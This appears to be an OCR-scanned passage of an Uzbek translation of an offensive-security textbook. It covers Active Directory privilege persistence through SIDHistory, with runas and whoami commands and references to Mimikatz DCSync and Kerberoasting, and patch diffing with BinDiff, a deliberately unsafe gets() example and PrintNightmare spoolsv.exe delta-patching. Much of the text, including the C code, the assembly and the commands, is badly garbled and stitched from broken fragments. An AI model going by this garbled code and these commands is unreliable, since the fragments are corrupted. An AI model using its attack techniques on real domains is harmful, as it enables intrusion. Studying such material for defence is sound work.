SIDHistory hozirda ma

uchun runas buyrug‘idan foydalanib,
oynasini ochiladi:

PS C:\Wiy

Enter the password for GHH\target:
Attemptin

& 10 start cmd.exe g user "GHH\

Yangi oynada to°g*ri kirish hy
whoami buyrug®

C:\Windoy vsisystem

GHH\Domain Admins Group S-] -3-2

25”20841140495635!8—

Post-eksploitlash
Magsad qilgan tizimg
jumlar uchyn razy

Xakerlikning m,
a kamdan-kam |
edka, domenning

\Users> Get-ADuser larg
Users, DC'= ghh.DC=local

vjudligini ko‘rish mumkin,
imtiyozlarini tekshiris

1dows|system32 > runas fuser:GHH\

idan foydalanish mumkin:

32>Whoami /groups | find /i

bir necha soniya kutish kerak: keyin
sozlamalar O*zgartirilganligini aniqlash

et -properties sidhistory

3bdd3b79e9hc

8812-25112084 !,’-1(}4956353(‘)’-1!1:’
21-3262898812-25 11208411-1049

563518-512

Imtiyozlami go*llash
h uchun yangi buyruq

larget emd exe

farger”

"Domain 4 dmins"

1-32628988] 5.
312 Group useq Jor deny

only

: yoki SIDHisto tomonidan
n_foydalamsh yoki imtiyoz| i

_' guruhlarga kengaytirilgan

Xulosa

him jihati hisoblanadj.
iriladi; shuning uchun
Mustahkamligjn; qo‘lga

Birinchi navbatda
muvaffaqiyatli hu-

imtiyozlarni
, irishni aniglash uchun foydalaniladi. Xc_’St " dom;'::?v;m[t)liyrgctor}"
qanf:la}- 95]1|r15 ey k('l ish imkoniyatini saqlab qolish s ifatida izlayotgan
Ocihrganidani 3 nél,'-k llir o*shildi. i'.\’ﬁ.\“i" ligjuamning Birqismi.a ? 1']ish mzlmfiin.
ﬁa ?108[35[3;:11;?;;:“; niqshonoa olish uchun domen bo*ylab harakat gi
oshqa ma’lur =

i lar
o‘shimcha manba ' erDSIn
S 'nternaIstahifasi github.com/MichaelGrafnette
Github-dagi Sysi
o iri 4: tarixi”
tCI-m‘l‘lictive Directory saqlash yashirish #14: SID
" i huquqlarini
o= tion #15: domen ma’muri
C “Acti i Secret Protectio Sk wony
ACtT'rethrlffl:lO;ydminSDHolder va SDProp-dan foydalanis
(qayta) olish uc
rity.org/?p=1906 .
PowerSploit hujjatia ; .
Github-dagi PowerSharp to‘plami
- : s ) s h*
SharpPack lanish, ishlatish va aniglas
imi -dan foydalanish,
“Mimikatz DCSync

ini buzi -dan Ac-
g 1127 iptalarini buzish - Kerberos.
é “[;(erbcroast bilan kerberos TGS el adsecurity.org/7p=2293

harmjOy.net/blog/redtea-

adsecurity.or-

' i dthedocs.io/en/latest/
powersp[OIt'rezitllub.comf S3cut3ThlsShlt/Power-

adsecurity.

. ish®
ini ish uchun foydalanis
i i - domenini buzis :
i 3::2::;3;‘ tomonidan Gxost Pack blog posti

ming/gxostpack/
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I18-BOB. YANGI AVLOD XAVFSIZLIK (PATCH)LARINING
EKSPLOITLAR]

Ushbu bobda quyidagi mavzularni o*z ichiga oladi:
* llovalar va patchlardagi farglar:

* Binary Diffing (Ikkilik taqqoslash) vositalari

* Patchlarni boshgqarish Jarayoni

taraf etish bilan bog‘liq bo‘Igan i
beradi, bu esa ba’zida qurolning
Ko'pgina tashkilotlarda tezkor
mutaxassislar uchun mugqobil im

muvaffaqiyatl yaratilishiga olib kelishi mumkin.
tuzatish imkoniyati hujum xavfsizlj

. gi bo‘yicha
koniyatni taqdim etadi,

a qilingan kodga o0°z-
lar O'rtasidagi nomu-
mkin. Eng asosiy darajada, ikkilik

farqlash —bu 1.2 va 1.3 versiyalari kabi bir xj| ikki 7 ng ikkita vJersiyasi 0'r-
hning eng keng tarqal-
: 9 tsiya gilingan kodning
- IKkilik fayllarni ajpaqiq, jarayonini sodda-

. Z i d) bu Iahh]chiga aj atl] an 'kk‘l' “ _
lari orasidagi koddagi o‘zgarishlarn; tezda aniglashga imkon biradli_ R

llovalar 0°rtasidagi farglar

1 : ) ‘ravishda Yangilanib turadj. Bunday
€1 Xususiyatlarni Joriy etish, yangi platformalar yoki
: “zgartirish, Contro] Flow
' Xavfsizlik nazoratidan foyda-
mumkin. Ko*pincha yangi versiyada
- Hlova kodidagj 0‘zgarishlar
o‘lganlarni aniqlash shun-
? Control Flow G

. uard (CFG) — g ERASION tizimng . T U v .
jallangan Windows REVsizii XUSUSiyar:;-, On lizimni ruxsatsjz o 7ganshlardan himoyy qilish uchun mo*1-

iyin bo*ladi. Zaifliklarni tuzatish bilan bog'liq kod o*zgarishlarini aniq
el g bo ]~afd11' lii]ﬂ;li}izig;::ucheklangan osl1k9f_qlllsh25‘: bog :‘gii;?ﬂpi‘lzlﬁ
gyt uva.ﬁdqwll'k \.’a?nowinine tabiati haqida minimal ma ,]umflﬂ_kni aniqlash
IaSh].(llOlli'll' e il |mot?laﬁ C!E;“Ch““k ko'p ma'!gmot .Olsa-k : ZTPI;G fayllarini
klo ..mh;].d]i UShI:);lde\-ulqori bo*ladi. Agar oshkor qilish e’lonida )
ehtimoli shunc )

. . i derjpeg Headerty-
s lean bo*lsa va biz Ren . ' b
qayta ishlashda zaiflik borligi ko :‘fla:ltllcfiyani aniqlasak, bu tuzatish bilan bog'liq
an

hunea o°xshash xulosalar keyingi bobd_a
Qu;ida zaiflikni 0°z ichiga olgan C kodi-

. - 11 4
pe deb nomlangan o°zgartirilg o
celishimiz mumKin.
degan xulosaga kelishimiz 1"nI el
R ¥ ish )
haqiqiy ssenariylarda namoyi
. - . 2 Laléie 3 :
ning oddiy namunasi keltirilgan
e gets() function.
includes the unsafe gets() fu
*Unpatched code that includes the if
it get Name(){
char name[20]; —
printft"\nPlease state your name.
gersitname); _ o
printf{"\nYour name is %os.\n\n
return ();
!
! .-
And h;H; s Jh; paJ9h:d 9od .m
ST
*Patched code that includes
int get Name(){
char name[20]; . . ):
printfi"\nPlease state yout m;:f:;t.- ;
feetsiname. .s-.fze.'q}’imnu:). sf:lr; «
'pr:'m)’ "\ Youwr name fs o5\
return ();

/!

" oname);

A
safer feets() function.

name).

s nkesivasi dalanish bo“lib,
ilan bog'lig muammo gets Otufl'ﬂ\-slgfllfédsg ;‘giy. i
Ushbu parcha t?|'a  mavjud emas, natijada bu bt ot Tl 1. B, Bl
g shegare Tel e fO}ffIalaliadi, bu size 3fgu.mc[? ets ()" funksiyasi eskirgan
. LLF 1 an ] 13
R0 Iunk‘S]I}'/m'qufti:t:)ldini olishga yordarpl b?r?d:nasaglan tkilik-ma’lumotlerda
ning to*lib ketishining i satr belgilarini. : 551 Tihe
. : imol yangl S : : ammo, agar to‘g '

deb hisoblanadi va e!ﬂfmobgbli eng yaxshi tanlov e[?]_a%na::]i ushbu oddiy misolni
lo°g*ri ishlay olmasligi Sa,-aoandﬁ yaxshiroq tan]OVd.lllJ. it

: ] 3 .
!i}ilsa. bu “gCt.s qosgifagiabiim tasvirlash uchun ko'rib chiq
Ikkilik sho*ng‘in

patchlar osrtasi(ll?gi_fil:]ii;: tahlil orqali zaifliklarni
13 arl IKK :

i xavfsizlik patchia - <iv iihatdan, Microsoft har

Microsoft va Oracleull‘]?;l choralaridan biridir. Tanxiy ji

bartaraf etishning eng - nin

Oyda amalga °5hirilad1g?n-’] h:l: ?:ltchla

radigan yaxshi rejalashtiriig

i ib kutubx
Ushbu tuzatishlar dinamik tartib

' hlarni chiqa-

ikkinchi seshanba kum.patc .

i Ik'kllr::gs;lqarish jarayonidan foydalalnad::

lTrlllal:ari (DLL) va qurilma drayverlaridagi
0




1

zaifliklarni tuzatadi va ko*
ichiga oladj.

Ko’pgina tashkilotlar ushbu tuzatishlarni o*z vaqtida qo*llamaydilar, bu esa
tajovuzkorlar va penetratsion sinovchilarga ushby tizimlarni ommaviy ravishda
oshkor gilingan yoki Xususiy ravishda ishlab chigilgan eksploit bilan buzish uchun
ochiq imkoniyatlarni qoldiradi. Windows 10dan boshlab, Microsofi tuzatish talab-
lariga nisbatan ancha tajovuzkor bo‘lib, yangilanishlarni joylashtirishni tez-tez va
qat’iyroq qildi. Tuzatilgan zaiflikning murakkabligiga va 0'zgartirilean koddan
foydalanishning murakkabligiga qarab, s ” i

: ; amarali eksploit Ba’zan tuzatish chiqaril-
gandan so‘ng tezda ishlab chiqilishi mumkin,

pincha bajariladigan fayllar kabi yangilanishlarni oz

uchun birgalikda

- italari
ngan katta ikki]ik kodni qo‘lda tahi i
; il qilish hatto eng
bl tadCIlC[O‘[(?hllar uchun ham qiyin bo‘lishij mumkin, Biro l?d\"l'k 11" ?I ni
topish uchun turlj xi] rivojlang da mavjy q 1kkilik fayllar

Jud bo‘lean gy
20abli, tuzatil il bilass sy gragysh modulfari .
soddabasdininiish mumkin. Ushb aring

ar Kodp; lahj)

ar mavjudli-
aniglash jarayoni
esa iy Qifish uchun sarflangan
S¢ IMlayotg; iflik bilan bog‘lid
: ‘ : Ng Mashhy e 4 £an zaiflik bilan bog
* Google tomonidap, 2012-yj] bosh; hhur {kklllk sho‘ng‘in asboblari mavjud:
quyidagi manzilds mavjud wyyyy, ldéf sotib olingan Zynamics Bi Diff (bepul)
(yoki Ghidra) litsengiyg YNAMICS. com/pyipy g o S
“Nzlyalangan Versiyag; ¢ i htm, buning uchun 1DA
® Core 'Secunty,dan N]kolas Ek 1 alab ql“nadl.
(bepul) quyidagi manzilda m, i,
ols/turbodiff.u 4.9 dan 5.0 gy
u'hshi mumkin, Agap havolalgr ;
g:thub.com/nihihusfturbodiﬁ‘
*Jung UK o (Matt Oh) '
: . tomonidy, ;
d . 7 anl s .
_ z;lsitup hquyldagl manzilda Mavjud |, ttSh]-ab Chiqilgan Daryn
ishlatish uchup IDAhtsenziyalangan veg?;/g{thub.com
asi talah qil

; U to i .
U hitpg, ONIdEN ishigly o

: iff
qilgan turbod!
ha bg< an D , v-COresecur
shlam

ni . _Jrity.com/open-source-t0-
asa, by &5 nggi versiyalari bilan ishla-
s }’erda harakat q]]]b ko‘ring: hltps://

Grim/b inkit (bepul)

_/ ohjeongwook/binkit. uni
Inad;j

b g higilean Diaphora dasturi (bepul) quyidagi
* Yoxin Corset tomonidan |shlab<.2 1qug <oret/diaphora.rasmiy ravishda fagat
manzilda mavjud }-,ups:f/gi{hub.com/joxeankori] I::(}iai :
IDA-ning enuvso'ﬂggi versiyalari ‘!""!“’f"‘?’\f\.’a— i ikk-ita versiyasi orasidagi mo-
US!]GLI v(;sitalaming har biri bir K'l]rl::sl:ilﬁzfza evristikalardan foydalangan
aul o'zga{‘ishini z?niqlasl]: ul.csl:lt[,rlloi::: ];J(:llsa, Ghidra) uchun plagin sifatitlia ishlg{;
h?lda_ ID,LA_(?"O]“ agar .(;m_[ga]: har bir vositadan foydalanganda farqfar}ﬁ:goa)
g [.SII'-XI] k”-ls.h {‘a_\llar;i' \ing har biri IDA ma'lumoll-ar ba?atarlga (fay ilesi
bf)'.hShlll I11L'”_1k”1_- f&‘Sbfo d‘Ta di:idb)- shuning uchun idaInsenzl}’a-lan..gal;l\’ers e
l\'ll‘lb:]'l 1mk01'11§.-aflm talab ?I\,ersi.vaSi talab gilinadi. USth} bobdag'i‘mllsg Aal's ‘i)(;inﬂ
.\fpkl_?;UbOd]ﬂ .bl]z}n -bepu'ﬂ' va Subodiff-dan foydalanamiz, chun].\-lhu 'nki:.'l m;
biz tijorat Vasias: t.nn Dll laydi. uni hali ham turli sa}:’ﬂa’_'d?l $apis t?li:ersi\’:clsi"a
So’nggi versiyasi bilan Is :];1'011:;’!16\\"5/2008033”' bu'IDA oy n-‘]?rztdaﬂi )-’-ano‘;a
salan https:/ “"Ww'sumnull -m? taqqoslash imkonini bferadl- RO' & o I;uall?ﬂari
cga bo~lmafgantarga maS}quE;r1‘.da ham mavjud. Ularming har bl'nln;'];zdigan -
\*OS(iItall]a r(?m.phf:;?fl:iilﬁzll?r1i izlash uchun son-salll?occ];lcl;nzof‘;;i;néir Jay
mo g1 o"zgaris - /uqor S ’
i ;lioil;riba;(mimlarni taqdim etgani uchun yuqori

inDiff o -

Bc:'sll?ida Google Germaniyaning Z%’nle.lmlcs

; . o igot rahbari tanigh mu-

iy ta'minot kompaniyasini sotib oldi. me].;g 'Iﬁ:lcifgl' Fleyk nomi bilan fa-

cliasturly ta’minot kor Pomas Dallien. shuﬂmé‘-det; o BnDIff va BinNavi
andislik mutaxassis! . islikda vordam beradig :

: - .« teckari muhandislikda ) ‘ yle ushbu vositalar
Mlgan. Zynamics lbf!}\d;} ;:,L-lldi Sotib olgandan so 'és'\ggﬁiﬂ;i Goslis sanie.
asboblari bilan mashhu s oo keskin pasaytirdi e

. : ‘hine o'ndan biriga KeSKN inDiff’ bepul bo‘lishini e’lon
harxini asl qgiymatining o'ndan o ole kelajakda BinDi v el
shtirdi 1-yil mart oyida GoOgIe K& ‘llab-quvvatlanadi va ushbu
la.“l’g.mldl' ?]02:(_}']lli[;]nlglichnmnn tomonidan ta.ol 2?131.11?1};)?11 7 hisoblanadi. Bin-
quldi. Loyiha Kris s0‘nggi versiya A
; rtda eng SO NES .G hni ta’min
i o e e ot i‘:lsi)’at o*zgarishlarini chuqur ta::)l\l*oqrm;m]-yil o°r-
PR TNE ¢ va X S e sa .
U ko*pincha b.l Oil\ :rcl)qitalardan biri sifatida maqm"gﬁir i disascemible
m Y BinDiff beta-versiyada bo‘lgan B quvvatlaydi. BinDiff 7 Win-
talaridan boshlab Bin . tsiyani qo*llab-quvvatlaydi. ¢ deb
‘o - inja bilan integratsi : ian dasturiy to*plami (.deb)
ondra va Binary B ida Keladi (). Debian d iy it boaish, TIVA
i p]a'_“_ (.dmg) O‘matish uchun blrge(:. onment’ning kerakli

' . - 'l . . . V]r .
yoki macos disk. taSw;an nusxasi va Java Runtime nIDA'ga tagqoslamoqchi
pe-ming litseniy o0 Difdan foydalanish e il i IR Syl
Versiyasi kerak bo.l?dl.to:natik tahlil qilishga va I?atuadanoso‘?lg DA ichidagi
bo‘lgan ikkita faylni av h kerak. Bu amalga _oshmlgaé‘{ﬂffcui,ni {shga tushirish
ni saqlashga mxsatltfsrigu yerda ko‘rsatilgamdek’ bindi
fayllardan birini ochib,

lChun ( T 6 ']'1' b() 'Sll I[lumkirl:
tl— tllg]llala]l 1 s1

Avval aytib o*tilganidek. 2020115



; X BinDiff 7 (@377001,, > |

‘I | oFf Database,,, j '
| .

' Diff Database Filtered, |.

|
Load Resuylts, | [

|
|
|

l
Close Help r

gmasini bosish ya taqqosl
r. Fayl hajmiga qarab, bir
kin. Diff tugagandan s0°ng, IDA-da bir nechta

orasida “mos keladigan Xususiyatlar™,
lamchi taqqcslanmaydigan”. Xaritalanga

ash uchun boshga
Yoki ikki dagiqa vaqt ketishi mum-
yangi yorliglar paydo bo*ladi, ular

azasining birop bir funksiyasi bilan bog*liq
» Secondary Unmatcheq yorlig*i esa boshqa

< joylashgan Xususiyatlarp; ko‘rsatadj ‘o e
qanday funksiyaga bog‘liq emas> .. lekin fayllardagi

-
-] IDA View-4 ‘-}r-.;:recr—.n:rmsm W stavsser
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gan 1.0b_2 versiyasidir. Subodh’dan foydalanish uchun | DA’ga tagqoslash uchun
ikkita faylni birgalikda yuklab olish kerak, IDA avtomatik fayllarni tahli] qilishni
tugatgandan so‘ng. Subodh qalqib chiquvchi menyusini ochish uchun Ctrl-F11
tugmasi bosiladi. Tahlil paytida faylni ko‘rib chiqayotganda, “ushbu idb*dan
ma’lumot olish™ni tanlang va “QK* tugmasini bosing, Diff"ga ki
fayl bilan bir xil amallarni takrorlash zarur. Ushby ikkala fa
dan so‘ng, yana Ctrl-F|1 tugmachasi bosiladj.
nib, boshqa IDB fayli tanlanadi. Natijada quyid

ritilgan boshqa
yI'bilan taqqoslagan-
“bilan taqqoslash™ varjant; tanla-
agi oyna paydo bo*lishj kerak.
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Jildga o‘tib C:\grayhat\a
paydo bo‘ladigan standart p
fayl ikki marta bosiladi. IDA
satilganidek, demontaj

PP_difl\ va “anamika” nom|; fayl topiladi. Ekranda
arametrlardan foydalanib, up; ishga tushirish uchun

avtomatik tahlilni tezda bajarishi kerak. quyida ko*r-
oynasida standart main() funksiyas; O°rnatiladi.

FANW

public majn
nain proc near

Yar 1= guorg ptr

Th
arg_O= dvord ptr g

push ebp
mnou ehp, esp
and esp, OFEFEFESon
sub esSp, 10h v Status
chp [ehp-nrqqu], 1
Wl e
m [€5p+ 10h+uar_10], offset aTherelsolelpn m e AN
call _puts =z
ROy ]esp-tm:w.n'_m]. 1 ln:_nohsslfll. "
call _exit ::1 2; :m:
__-_-—_-—‘—-—-___-_-_-__ IP“"
'retn

Subroutine qalgib chiquvchi
' u ko‘rinmasa, orqaga
ko‘chirilganiga ishonch hosil qi
idb-dan foy

oynasini ochish uchyp
qaytib keraklj

linadi. Ekrand
dalanish tanlanadj va “OK”, so'ngra

Ctrl-F11 tugmasi bosi-
fayllarni pastki dasturga nusxa
agi subroutine oynasida ushbu
yana “OK” tugmasi bosiladi Ke-
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varianti tan]anac!lva 0 ! v:ma “OK™ tugmasl bcfm'la 1. ral)aSh T(e;ak S
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10_0 10_0
8048484 chk=331434 B80484cd: chk=3211+44
push ebp push abp
moy ebp, esp mowv ebp, esp
sub esp, 38h i char sub esp, 38h ; char =
Mo eax, large gs:idh mov eax, large geildh
mu; Eibb+;i£_c]l i mowv If_—l_-_:n-u;qr_n‘_], eax
mz, L AR aPleaseStateYou; - A 83x; Bax
Please state your name : mowv eax, offser .:'F'I-!--\;P",.'r-:q!:u;
Moy [esp+3Bh+var_38], eawx Please state your nmame:
call _printf mawv [esp+3Bhevar _39],
mov eax, dsistdin@eGLIBC_Z_0 call _printf
mov [esc+3Bh+var_30], eax lea ean, {t-bp-wr_DEI}
mov [esp+3Bhevar_347, 144 mo v [eep+3Bhevar -38], eax I
183 eax, [ebpsrvar_20] call qets
n-.g;l [?:;:EQTI*-'EI",_‘;‘E]- oax mow eax, offops a¥YourNamelgS_ :
c: fgets 2 s %< i
n'.:, gax, offse! aYourNamelsS_; * YOUE® neNe e Xa.,
Your name i1s %s.
lea edx, [ebpevar _20]
lea ed=, [ebp+var_20] mgy [uz;‘:&h».;r_J-:], eds
moy [esp+38hevar_34], ad: mow [‘-*‘:p*}Eh‘—war. 38], eax
mow lesp+3Brevar_38], eax call =print{
call —printf mov ean, N
mow eax, 0 mov edi, [ebps var_C]
Mav edw, [ebps var_C] wor ede, large ge:14h
-l L3 ‘|
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Ushbu rasm chap oynada tuzatilgan funksiyani,
gan funksiyani ko‘rsatadi. To*ldirilmagan blok cheg
digan “gets ()"funksiyasidan foydalanadi. Tuzatilga
foydalanadi, bu buferning to*lib ketishining oldin;
tini talab giladi. Bu yerda tuzatilgan disassembling

0'ng tomonda esa to*|dirilma-
ara tekshiruvini ta’'minlamay-

n blok “fgets ()"funksiyasidan
olish uchun o*lcham argumen-
ko‘rsatilgan:

mov eax, ds:stdin@@GLIBC 20
mov [esp+38h+var 30], eax

mov [esp+38h+var_34], 14h

lea eax, [e bp+var 20}

mov [esp+38h+var 38], eax

call _foets

[kkita xususiyat qo‘shimcha kod bloklarini
o°zgarishlarni o‘z ichiga olmadi,
kodi bo‘lib, u Stack yaxlitligini so'ngra funksi ilogini iradi
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tomonidan go*llaniladigan dOi'm}: yangl ,a?;ma Shu:g;a mos ravishda rejalashtit
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Tegishli havolalarni bosish faqat zaiflik hagida cheklangan ma’lumotlarni taq-
dim etadi. Ko*proq ma’lumot berilsa, kimdir tezda tuzatilgan koddan foydalanishi
va ishlaydigan eksploitni yaratishi mumkin. Yangilanish hajmiga va zaiflikning
murakkabligiga garab, tuzatilgan kodni topish

o . : : : qiyin bo‘lishi mumkin. Ko*pincha
zaiflik holati faqat nazariy yoki faqat juda aniq sharoitlarda yuzaga kelishi mum-
kin. Bu asosiy sababni aniglashni va xaton muvaffaqiyatl boshlaydigan konsep-

siyaning to“g‘riligini tekshirish kodini yaratishni giyinlashtirishi mumkin.
Asosly sababni va disk raskadrovka muhitida tahlil qilish uchun mavjud bo'l-

gan zaif kodni aniqlagandan so‘ng, agar kerak bo‘lsa, kodni bajarish qanchalik
qiyinligini aniqglash kerak.

Microsoft Patchlarni olish va 0‘rnatish
Windows 10 uchun kiimiilatif yangilanishni olish
chiqish kerak. 2021-yil iyul oyidagi CVE ro‘yxatini k
20'2 l._3.452? topildi, unda “Windows Print Spooler masofaviy bajarilishining
za1ﬂ1g;“l deb yozilgan. “PrintNightmare” deb nomlanuvchi ushby ziiﬁikni Mic-
rosoft-ning quyidagi manzilidagi e’lonida ko‘rish mumkin https://msrc.micro-
o0 s com/update-guide/vulnerability/CVE. 202134527, a0p) rr T st
TP orasida va keyingi yillarda turli x| tuzatishlar chigarid; yUsl1L}::lg-av%él1-
ma-bosgich qo‘llanmada biz 2021-yil iyun-iyul oylarida Wind' N 0sq o
uchun yangilanishlarni yuklab ol ows 10 21h1 x6

ish kerak, Asosiy magsad printni ‘

T : : ? printnightmare bilan
b%. liq zaiflik va tuzatilgan kodni 0°rganish va undan qanday foyia]a ileanliei
haqida dastlabki ma’lumotlarnj to*plashdir, P

. W . i

: c g G yig‘ish davri e s
ladi. Bunda quyidagi natijalarga erishiladi- g vV mezonlari bo'yicha gidiri
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0°rib chigilganda, CVE-
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Ushbu faylga tarkibni chiqarish uchun bir xi “kengaytirish™ buyrug-ini go*llash ';_”f_ PC . Local Disk (C:) + grayhat » Chapter18 » 2021-06
kerak. Bu biroz vaqt talab etadi (ehtimol, 10 dagigadan ko*proq). chunki bunday . -
yangilanishlar odatda minglab fayl va papkalarni o*7 ichiga oladi. Anigroq bo"lish '
uchun ichki xavfsizlik masalalari va yamoqlarni topish bilan bog-liq tarixiy aha- — 0219 .
miyatga ega bo‘lmaydi. Jarayonni tezlashtirish uchun Google Links'dan Expand ‘fv;“-TL 2172021 323 PM Pl ol
vositasidan foydalanadigan PatchExtract vositasidan foydalanamiz. Ushbu bobda Fl-‘:ﬁ‘H 7/31/2021 326 P File faldes
Jeymi Gigning “keyingi o*qish uchun” bo*limida muhokama gilingan yangilangan o = 73172021 323 FM rre e
versiyasi qo‘llaniladi. e WOV

PatchExtract vositasi — by tuzatish fayllarin; chiqaradigan va ularni turli pap- o
kalarga ehtiyotkorlik bilan tarqatadigan PowerShel| Skrip:idir. Ushbu vositadan o xS
1203; df;la’;]’[sh ”f:h““tf’[hiic[a:;gﬂ” ZalynamijOYIashtirmoqchi bo*lgan magsad papkani

clgilash tavsiya etiladi. Magsadlarimiy uchun bitta papkani “502 -07". ikkinchisi . . 1 b

j‘202]-(}?” deb nomlanadi. 2021-yil iyun oyidagi }Par?uilaniS]] la]rk(igi =2021-07" X64 papkasida 2900 dan ortiq pastk.l papka_lar mz;x]:d :fa'llb_. ularning
Jildiga va 2021-yil iyul oyidagi yangilanish tarkibi “2( erli tavsiflovchi nomlarga ega:

"2021-07" jildiga chigariladi. bu yerda ko*rsatilgandek xarakt
li .msu +2021-07" papkasida
uyruq (misol sifatida keltiril-

2021-yil iyun oyidagi yangilanishn; nusxalash orqa
PowerShell ISE sessiyasidan foydalanib quyidagi b
gan) ishga tushiriladi:

Chapter 18 > 2021-06 > xod

i'F'“"f" Local Disk (Cx) » grayhat .
PS C:\grayhat\Chapter 18> \PatchExtracy TC e Rsakes il
L " PS1-PATCH \swindovee b3 3 [ |
.1‘64_!(!34a518633c'-?045b7ad48!)()cdbﬂ5dﬁf 8¢06198d9 H.‘S‘.i't‘i;:‘[(;i;:“ :fi}ii;ﬁi;:f:;”-?% | . /3172021 914 FM
ik ; -Nu 1317210, '
Ushbu buyrug bajari] ‘ 3daudio-hrtfapa_10.0.19041.1023 713142021 215 PM
vaqt ketdi M}r _qd e gandan. - ng, fayllarn; olish uchun taxminan 20 daqiqa | 3daudio-hrtfbins_10.0.19041.423 i 7/31,2021 %20 P
biqld, eanll.mo 2:1\3:]—. nomlar hlagtda bir nechta PowerShell xabarlari ham paydo % adju'tmentaPP7<m3in-1o'0'1QM1'Tdb TR
narsa yo‘Ini to‘lig ol : WL ¢ pon e ' 1052 o
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i 3 » X04 va i * 1 " > 2 ; apd. o
katalog topild; X86 kabi turlj xi] papkalarga ega a..appvpmqrammab"'t}’J9-0'1'm1023 2/91/2021 216 PM
: : i 10041, File falder
KerakS[Z pOChta papkaSIda bDShqa fay”ar va xavl‘si7“]\ kOﬂle it r ” ri kabl a---‘ir}-’dlalog.appwrsetupj 0011 928 -/1/2021 9 r_ 1 .. o
tasniflanmagan fayllar mavjud. Yamalar papkasida Yaﬂg{Chiqari[ ra: e?i};(c?li Kki- a..atibility-assistant_10.0.1904 -546 2,21/2021 D16 P ’
; - : b 21 016 P Filé Told
lik .f'ay]]ar m'av_]ud. S}.,S’ W0W64’ X64 va x86 Papkalarida 1zi %; > latforma 2-bility-assistant-ui_] R 46 ki
ma’lumotlari va tuzatish fayllarining asosiv i s .4 qiziqtirgan pla ot o Ler 10.0.10041.740 142021 15 PM
& asosiy gismi mavjyg. “HESARErE iRt 0Q41.1023 | . PM o
a..cationmodei-daxexec—w'oja.;;] 746 773172021 210
3--E!:$n:reencontentlrost,w'[}'1g :

«~ nomli ikkita pastki papka

ishni bildiradi. Duch
aoa uzatishni bil rac
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g L gl ot ralvlski ning y’ina kasida teskari farglash fa}'!_
Clish; mumkin bo‘lgan pasts! | avju _“R” pap " a “n” papkasida qo sh1l-
“ llar1 M fayllari :
bl.l papkada data path fa)’ ‘ cri farC]laSh ay q DLL y0k| drayver kabi

i, “q” papkasida to‘g'ridan-0 £ avjud. Ilgari, ¥© Microsoft ma’lu-

ligh: . rm S . hlga Olgaﬂ.

o f tun
ashtirilishj kerak bo‘lgan bY
68

o datda “qr, va
Ushbu papkalarning har birida 0

< 69




motlar formatiga o‘tdi, unda teskari farglashda yangilangan fayl o*rnatilgan-
dan so*ng ishlab chiqarish uchun mavijud bo*lgan versiyaga (RTM) qaytadi va
to’g'ridan-to*g ri farqlashda RTM fayli keyingi yangilanishga qo*llanilishi ke-
rak bo‘lgan joyga ko‘chiriladi. Agar yangilanish seshanba kuni tizimga yangi
papka orqali yangi fayl qo‘shilsa. uni RTM versiyasi deb hisoblash mumkin.
Ushbu fayl seshanba kuni yangilanishning keyingi yangilanishi paytida tuza-
tilgandan so‘ng, uni yangilab turish uchun differentsiatsiyani qo*llash mum-
kin bo‘ladi. Ushbu yangilanish, shuningdek. faylni RTM versiyasiga qaytarish
uchun go‘llanilishi mumkin bo*lgan teskari farglash faylini o'z ichiga oladi.
shuning uchun uni yangilashni davom ettirish uchun keyingi to*g*ridan-to* e ri
farqlashni qo‘llash mumkin. ) )

Yuqorida aytib o‘tilganidek, ma’lum vaqtgacha
lari butun tuzatiladigan faylni o‘z ichiga oladi;
kalaridagi fayl yo‘llariga qaralsa, taxmin qilingan DLL yoki drayverlarning
hajmi butun faylni saqlash uchun juda kichik ekanligini tezda sezish mumkin.
Bir necha yil oldin Microsoft yamoq ma’lumotlarini qayta ishlash uchun API
to‘p]an.lipi ishlab chiqdi. Yechim API-bu MSDELTA APIL. U tuzatish ma’lu-

g ptni ishlab chiqdj. data_patch.py™. biz

tezda foydalanadigan to'g'ridan-to*g‘ri va teskari : .
' ma’'lum “‘11asl
uchun API"dan foydalanadi. umotlarni qo-llash

Ma’lumotlarni tuzatish faylnin
sini, so‘ngra pa30. 3. 4 sehrlj raga
rini qo‘llashga o‘tishdan oldin, bj
aniglashimiz kerak. CVE-2020-34
Diving uchun qays;j fayllar qiziqi
motlarni almashtirish xizmatlari h
kerak. Chop etish

Microsoft-ning tuzatish-
ammo, agar “q” va “r” pap-

g !Jqshida 4 baytli CRC32 nazorat summa-
mini 0°z ichiga oladi tuzatish
zni qizigtirgan tuzatish
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aqgida biroz ko‘prog ma’|
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PS5 C.hgrayhat chapter 18 gei -rec i windows winsas, -F i Iter Lpoolsy, omp

Pirectory: Cowindows winsx\andbd_aicrasoft -windos Arinting-spooler -core_SIG1 IMybad 1646 1% 10,0 1004 6l mane D205 Ae ) 0balsd

Mode Lastariteline Length Nime

a- VLR 619 e 99744 spoo )iy, exe

Directory: C:liwindows \winsxs'asds merosoft - windows prInting spooler ¢orp bt WRS6ad 102

K a9 5d.
00 0 19041 964 none bards] 2el0fa00hd

Made Lastaritel ine LEnagth Noase

SA2TFANY 6210 pu 6710 wpooliv, cxn

Directory: ¢: windows \winwas \amdbs_microsoft windum,-pr int ing BOOYET - COre 1IBE 13 had 1ote 1t 1010500 L s

Wi Lastar itel jme Length Same

3 /2772021 6019 pu 6264 spoolsy. pre

spoolsv.exe faylini ko‘rish uchun, 2020-yil may oyida. shuningdek fayl
.l‘_land -» unda ma’lumotlar yo*llari fayllari mavjud. spoolsy papkasi tayyorlana-
di. Papkadagi exe C:\g\xayhat\Chapters 8\\ va keyin spoolsv.exe faylini nusxa-

lash. fgyliari 'bilan bi}‘ga faylga fay] versiyasi ma’lumotlari yo*lini qo‘llash im-
konini beradi va keyin 2020-yil iyun va 2020-yi] iyul oylaridagi yangilanishlar-

dan 10°g ridan-to'g'ri ma’ lumotlar yolidan deltg s x < ish imkonini
beradi. _Ppath.py. foydalanish im

PS C:\grayhai\C hapter 18> \delq _patch.py
$poolsv.202]1-06.exe . Ispoolsv\rispoolsy, exe .
10.0.19041.1052 Yispoolsv.exe
Applied 2 patches successfully

Final hash: kXOp13uC 16K/gNIXD/ZfC q 1OI8sySEciuG 1y +
PS C:\grayhat\Chapter 18> Adelta_patch, pv’
5poolsv.2021-07.exe . lspoolsy rispoolsv.exe |

10.0.19041.1083 fispoolsv.exe
Applied 2 patches Successfully
Final hash: 0+G8zsSJmis QIRIHgw

=i \spoolsy Ispoolsv.exe

-0 .\
12-’).?)’-()6Lrﬁ-!'lpr.r'ming-
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VZRX30=
-1 .\spoolsv\spooisy exe -o |
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Ko*rinib turganidek fayl versiyalari va mq® - ;
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l_h“‘“——-—\_._,,— [}
f
bar o5; 40
